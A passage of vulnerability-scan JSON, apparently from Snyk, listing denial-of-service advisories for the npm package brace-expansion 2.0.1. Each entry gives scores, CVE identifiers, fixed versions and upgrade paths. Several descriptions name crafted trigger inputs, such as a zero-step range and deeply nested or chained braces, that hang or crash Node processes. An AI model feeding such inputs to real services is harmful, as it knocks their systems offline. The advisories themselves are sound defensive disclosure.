"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
